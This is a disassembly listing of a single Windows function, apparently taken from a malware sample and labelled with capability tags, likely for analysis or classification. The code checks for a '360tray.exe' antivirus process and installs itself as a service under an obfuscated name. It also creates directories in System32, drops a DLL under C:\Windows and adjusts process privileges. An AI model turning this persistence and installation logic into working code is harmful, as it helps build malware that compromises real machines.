Function at 0x10003980
Capabilities:
Accept command line arguments
Create directory
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x474
mov eax, dword [0x1002d00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
push esi
push str.lpCommandLine___s_n
call fcn.10001fd0
push str.__acsi
push esi
call fcn.1000e030
add esp, 0x10
test eax, eax
je 0x100039d1
call fcn.100032c0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000c111
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x18], 0x74303633
mov dword [ebp - 0x14], 0x2e796172
mov dword [ebp - 0x10], 0x657865
call fcn.1000a3b0
push 1
push 0
mov ebx, eax
push 0
mov dword [ebp - 0x468], ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x10003a28
push 0x20000
push str.Pqrstu_Wxyabcde
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
test eax, eax
jne 0x10003b30
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0x10028280
call fcn.10001fd0
add esp, 4
lea eax, [ebp - 0x330]
push 0x104
push 0
push eax
call fcn.1000e720
add esp, 0xc
lea eax, [ebp - 0x330]
push 0x104
push eax
push str._SystemRoot__system32_
call dword [0x1002e1bc]
xor ecx, ecx
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x330]
lea ecx, [ecx + 1]
mov byte [ecx + 0x1002dab8], al
test al, al
jne 0x10003a70
push str._SystemRoot__system32_
call dword [0x1002e2ac]
push str.Pqrstu.exe
push str._SystemRoot__system32_
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x255c7325
push eax
lea eax, [ebp - 0x120]
mov word [ebp - 8], 0x73
push eax
call fcn.10002010
push 0x104
lea eax, [ebp - 0x228]
push 0
push eax
call fcn.1000e720
add esp, 0x1c
lea eax, [ebp - 0x120]
xor esi, esi
push eax
call dword [0x1002e25c]
add esp, 4
test eax, eax
je 0x10003c9b
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
nop dword [eax]
cmp byte [ebp + esi - 0x120], 0x5c
jne 0x10003c7c
lea edi, [ebp - 0x228]
mov ecx, esi
test esi, esi
je 0x10003c5b
lea edx, [ebp - 0x120]
mov eax, edi
sub edx, eax
mov al, byte [edx + edi]
mov byte [edi], al
inc edi
test al, al
je 0x10003c47
sub ecx, 1
jne 0x10003b18
jmp 0x10003c5b
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push eax
call esi
push edi
call esi
lea eax, [ebp - 0x448]
mov dword [ebp - 0x448], str.Pqrstu_Wxyabcde
push eax
mov dword [ebp - 0x444], 0x10009700
mov dword [ebp - 0x440], 0
mov dword [ebp - 0x43c], 0
call dword [0x1002e210]
test eax, eax
jne 0x100039c0
test ebx, ebx
je 0x10003b8d
call fcn.10002b80
mov ecx, dword [0x1002dbe8]
call fcn.10008480
push 0xf003f
push 0
push 0
call dword [0x1002e21c]
mov edi, eax
test edi, edi
je 0x10003c26
push 0xf01ff
push str.Pqrstu_Wxyabcde
push edi
call dword [0x1002e220]
mov esi, eax
test esi, esi
je 0x10003c1f
push 0
push 0
push esi
call dword [0x1002e224]
test eax, eax
jne 0x10003c26
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x420
jne 0x10003be3
push edi
call dword [0x1002e228]
push esi
jmp 0x10003c20
lea eax, [ebp - 0x464]
push eax
push esi
call dword [0x1002e22c]
test eax, eax
je 0x10003c18
cmp dword [ebp - 0x460], 2
jne 0x10003c18
push 0x64
call dword [0x1002e18c]
lea eax, [ebp - 0x464]
push eax
push esi
call dword [0x1002e22c]
test eax, eax
jne 0x10003bf5
push esi
call dword [0x1002e228]
push edi
call dword [0x1002e228]
test ebx, ebx
je 0x10003c3a
mov ecx, dword [0x1002dbe8]
call fcn.10008480
call fcn.10002be0
call fcn.10009d20
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
test ecx, ecx
je 0x10003c5b
mov edx, ecx
xor eax, eax
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea eax, [ebp - 0x228]
push 0
push eax
call fcn.1001374e
add esp, 8
cmp eax, 0xffffffff
jne 0x10003c7c
push 0
lea eax, [ebp - 0x228]
push eax
call ebx
lea eax, [ebp - 0x120]
inc esi
push eax
call dword [0x1002e25c]
add esp, 4
cmp esi, eax
jb 0x10003af0
mov ebx, dword [ebp - 0x468]
push 0
push str.C:Windows_nw_elf.dll
push str.nw_elf.dll
call dword [0x1002e124]
push 0xe1
lea eax, [ebp - 0x438]
push eax
push 0
call dword [0x1002e178]
movzx eax, word [0x1002d99a]
push eax
lea eax, [ebp - 0x438]
push eax
call dword [0x1002e168]
push 0
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x438]
push eax
call dword [0x1002e124]
test ebx, ebx
je 0x10003d00
call fcn.10002b80
mov ecx, dword [0x1002dbe8]
call fcn.10008480
lea edx, [ebp - 0x470]
mov dword [ebp - 0x470], 0x75612d20
mov word [ebp - 0x46c], 0x6f74
mov esi, edx
mov byte [ebp - 0x46a], 0
mov al, byte [edx]
inc edx
test al, al
jne 0x10003d22
lea edi, [ebp - 0x120]
sub edx, esi
dec edi
lea ebx, [edi + 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10003d35
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x100282a8
call fcn.10001fd0
sub esp, 8
mov edx, str.Pqrstu_Wxyabcde_Ghijklmn_Pqrs
mov ecx, str.Pqrstu_Wxyabcde
push ebx
push str.Pqrstuvw_Yabcdefgh_Jklmnop_Rstuvwxy_Bcd
call fcn.10009a90
add esp, 0x14
mov edi, eax
push edi
push 0x100282b4
call fcn.10001fd0
add esp, 8
cmp dword [ebp - 0x468], 0
jbe 0x10003d99
mov ecx, dword [0x1002dbe8]
call fcn.10008480
call fcn.10002be0
push dword [0x1002dbc4]
push 0x100282c8
call fcn.10001fd0
add esp, 8
cmp dword [0x1002dbc4], 1
jne 0x10003e96
call dword [0x1002e1d4]
lea ecx, [ebp - 0x468]
push ecx
push 0x28
push eax
call dword [0x1002e240]
test eax, eax
je 0x10003e3d
movaps xmm0, xmmword [0x10029c20]
lea eax, [ebp - 0x444]
push eax
lea eax, [ebp - 0x45c]
mov byte [ebp - 0x44c], 0
push eax
push 0
movups xmmword [ebp - 0x45c], xmm0
call dword [0x1002e250]
test eax, eax
je 0x10003e31
push 0
push 0
push 0
lea eax, [ebp - 0x448]
mov dword [ebp - 0x448], 1
push eax
push 0
push dword [ebp - 0x468]
mov dword [ebp - 0x43c], 2
call dword [0x1002e254]
push dword [ebp - 0x468]
call dword [0x1002e188]
push 4
push 0
push 0x40
call dword [0x1002e148]
mov esi, eax
test esi, esi
je 0x10003e96
push 0
push 0x80
push 3
push 0
push 0
push connect
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x10003e8f
push 3
push 0
push 0
lea ecx, [ebp - 0x470]
push ecx
push esi
push eax
call dword [0x1002e1d4]
push eax
call dword [0x1002e140]
push esi
call dword [0x1002e188]
test edi, edi
jne 0x10003ed0
push 0x104
lea eax, [ebp - 0x228]
push eax
push edi
call dword [0x1002e178]
push 1
lea eax, [ebp - 0x228]
push eax
call dword [0x1002e168]
push 0x100282d8
call fcn.10001fd0
add esp, 4
call fcn.100032c0
jmp 0x10003f13
push str.MainThread
call fcn.10001fd0
add esp, 4
cmp dword [0x1002dbdc], 1
jne 0x10003ef0
push 0x1002db1d
call fcn.10005280
cmp dword [0x1002dbc8], 1
jne 0x10003efe
call fcn.10009d20
movzx eax, word [0x1002d99a]
push eax
lea eax, [ebp - 0x120]
push eax
call dword [0x1002e168]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]